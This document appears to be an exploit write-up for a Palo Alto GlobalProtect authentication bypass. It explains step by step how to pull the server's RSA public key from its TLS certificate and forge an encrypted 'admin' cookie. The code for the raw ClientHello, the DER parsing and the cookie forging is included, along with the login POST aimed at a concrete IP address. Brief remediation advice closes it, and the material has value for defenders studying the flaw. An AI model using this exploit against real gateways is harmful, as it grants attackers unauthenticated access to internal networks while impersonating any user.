
Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.
This exploit achieves unauthenticated VPN access to a Palo Alto GlobalProtect gateway/portal by forging an authentication cookie using only the server's publicly available TLS certificate.
GlobalProtect uses a pre-authentication cookie (portal-userauthcookie) to allow clients to authenticate. Here's the fatal flaw:
Normal Flow:
1. Client authenticates (username + password)
2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
3. Client stores the encrypted cookie
4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it
The Bug:
The server ONLY checks if the cookie decrypts successfully with its private key.
It does NOT verify WHO encrypted it or if the plaintext content is legitimate.
Since the RSA public key is embedded in the server's TLS certificate (publicly accessible to anyone who connects), any attacker can:
This is a textbook broken authentication flaw — using encryption where a digital signature or HMAC was needed.
flowchart TD
A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
E --> F["Step 6: POST to /ssl-vpn/login.esp"]
F --> G{"Server Decrypts Cookie"}
G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
G -->|"Invalid"| I[" Rejected"]Why raw? We need the server's certificate in DER (raw binary) format. Python's
sslmodule completes the full TLS handshake internally and doesn't expose the raw cert bytes the same way. By doing a raw TCP connection and sending a hand-crafted ClientHello, we can intercept the server's response at the byte level.
A TLS record looks like this:
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Length │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake Message │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Length │ Body │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
The ClientHello body contains:
| Field | Value | Purpose |
|---|---|---|
| Version | 0x03 0x03 (TLS 1.2) | Tell server we speak TLS 1.2 |
| Random | 4-byte timestamp + 28 random bytes | Nonce for the handshake |
| Session ID | 0x00 (empty) | No session resumption |
| Cipher Suites | 9 suites including TLS_RSA_WITH_AES_128_CBC_SHA | Key: we include RSA-only ciphers to force the server to use its RSA cert |
| Compression | 0x00 (none) | Required |
Extensions included:
| Extension | ID | Purpose |
|---|---|---|
| SNI (Server Name Indication) | 0x0000 | Tell the server which hostname we're connecting to |
| Signature Algorithms | 0x000D | Advertise which sig algorithms we support |
| Supported Groups | 0x000A | EC curves we support (P-256, P-384, P-521) |
| EC Point Formats | 0x000B | Uncompressed EC points |
[!NOTE] The cipher suites intentionally include RSA key exchange ciphers (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA). This nudges the server to respond with its RSA certificate rather than an ECDSA one — which is critical because the exploit only works with RSA.
After sending the ClientHello, the server sends back multiple TLS records:
Server Response:
┌─────────────────┐
│ ServerHello │ (handshake type 2)
├─────────────────┤
│ Certificate │ (handshake type 11) ← WE WANT THIS
├─────────────────┤
│ ServerKeyExchange│ (handshake type 12, optional)
├─────────────────┤
│ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL
└─────────────────┘
Phase 1 — Strip TLS record headers:
Each TLS record has a 5-byte header: [type(1)] [version(2)] [length(2)]. The code scans through all records, and for any with type == 22 (Handshake), it concatenates their payloads:
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # grab payload
i += 5 + rl # next record
Phase 2 — Find the Certificate message (type 11):
Inside the handshake stream, each message has a 4-byte header: [type(1)] [length(3)]. We scan for type == 11:
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length
if ht == 11: # Certificate!
# Parse the certificate list inside
Phase 3 — Extract individual DER certificates:
The Certificate message contains a list of certificates, each prefixed by a 3-byte length:
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes) │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes) │
│ Cert 1 DER data (variable) │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes) │
│ Cert 2 DER data (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
In our test run, we got 3 certificates (leaf cert, intermediate CA, root CA).
This function scans for ServerHelloDone (handshake type 14), which tells us the server is done sending and we can stop reading.
X.509 certificates are encoded in DER (Distinguished Encoding Rules), which is a binary format based on ASN.1 (Abstract Syntax Notation One).
Every element in DER is:
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
Length encoding:
0x80: length is that byte directly (short form)0x80: low 7 bits = number of following bytes that encode the length (long form)# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # long form?
nb = length & 0x7F # how many bytes follow
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = start of value
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WE WANT THIS ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
The function walks the DER tree by reading tag+length and skipping over fields we don't need:
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0) # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p) # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0: # version field present → skip it
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)
# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # Not RSA (probably ECDSA)
# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)
Important detail — leading zero byte in modulus:
if der[ms] == 0 and ml > 1:
ms += 1 # strip leading 0x00
ml -= 1
DER encodes integers as signed. If the high bit of the modulus is 1, a 0x00 byte is prepended to keep it positive. We strip it because we need the raw unsigned value.
For our target: modulus = 2048 bits (256 bytes), exponent = 65537 (0x10001)
This is the heart of the exploit.
The plaintext cookie format is:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── Client IP
│ │ └── Unix timestamp
│ └── OS identifier
└── Username (we choose "admin")
Before RSA encryption, the plaintext must be padded to the key size (256 bytes for 2048-bit RSA):
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding │ 0x00 │ Plaintext message │
│ │ │ (≥ 8 bytes) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen bytes 1B message bytes
Total = 256 bytes (= key size)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 separator
if pad_len < 8: # PKCS#1 requires ≥ 8 pad bytes
return ""
em = bytearray([0x00, 0x02]) # Type 2 padding header
for _ in range(pad_len):
em.append(random.randint(1, 255)) # non-zero random bytes!
em.append(0x00) # separator
cat(em, pt) # append plaintext
# RSA encryption: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
The RSA math:
ciphertext = plaintext^e mod n
Where:
plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
e = 65537 (public exponent)
n = the 2048-bit modulus from the certificate
[!IMPORTANT] This works because RSA encryption uses the public key (n, e), which anyone can obtain from the TLS certificate. The server will decrypt it with its private key (n, d) and get back the plaintext —
admin;;Windows;;timestamp;0.0.0.0.The server then trusts this plaintext blindly — it never verifies that the cookie was legitimately issued by itself.
The forged cookie is sent as a standard HTTPS POST to the GlobalProtect login endpoint:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← empty! no password needed
&context=gateway ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=
[!NOTE] The
passwdfield is empty. The server doesn't check the password at all — it relies entirely on theportal-userauthcookiefor authentication.
The exploit tests two endpoints:
context=gateway): Direct VPN tunnel accesscontext=portal): Portal configuration accessdef is_gateway_success(resp, user):
# Check for HTTP 200
# Check for <status>Success</status> in XML body
# OR <argument> tag containing the username
sequenceDiagram
participant A as Attacker
participant GP as GlobalProtect Server
A->>GP: TCP Connect (port 443)
A->>GP: Raw TLS ClientHello (hand-crafted)
GP->>A: ServerHello + Certificate (contains RSA public key)
GP->>A: ServerHelloDone
Note over A: Extracts RSA public key (n, e) from cert
Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (over TLS)
Note over GP: Receives portal-userauthcookie
Note over GP: Decrypts with RSA private key
Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Trusts it blindly — no signature check!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 Full VPN access as "admin"| Aspect | Impact |
|---|---|
| No credentials needed | The public key is literally public — anyone who connects gets it |
| No brute force | Single request per attempt, always succeeds on vulnerable servers |
| Pre-authentication | Exploitable before any login — no existing session needed |
| User impersonation | Attacker chooses any username (admin, CEO, etc.) |
| Full VPN access | Once authenticated, attacker is on the internal network |
| No logging of password failure | Since the auth is via cookie, failed password alerts don't fire |
The fundamental problem is using encryption for authentication. The correct approaches:
Digital Signatures: Server should sign the cookie with its private key, not decrypt an encrypted one. Then verify the signature on re-authentication.
HMAC: Use a server-side secret key to HMAC the cookie payload. Only the server knows the secret, so cookies can't be forged.
Token Binding: Bind the cookie to the original authentication session so it can't be replayed from a different context.
Broken: cookie = RSA_encrypt(userdata, public_key) ← anyone can do this!
Fixed: cookie = HMAC(server_secret, userdata) ← only server can do this
1. TCP connect to target:443
2. Send hand-crafted ClientHello (raw bytes over TCP, NOT TLS)
3. Receive ServerHello + Certificate + ServerHelloDone
4. Parse TLS records → extract handshake messages
5. Find Certificate message (type 11) → extract DER-encoded certs
6. Walk ASN.1/DER structure of leaf cert:
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Build plaintext: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 pad: 0x00 0x02 [random≥8] 0x00 [plaintext]
9. RSA encrypt: ciphertext = padded^e mod n
10. Base64 encode → URL encode
11. POST to /ssl-vpn/login.esp with forged cookie (over proper TLS)
12. Server decrypts → trusts blindly → grants VPN access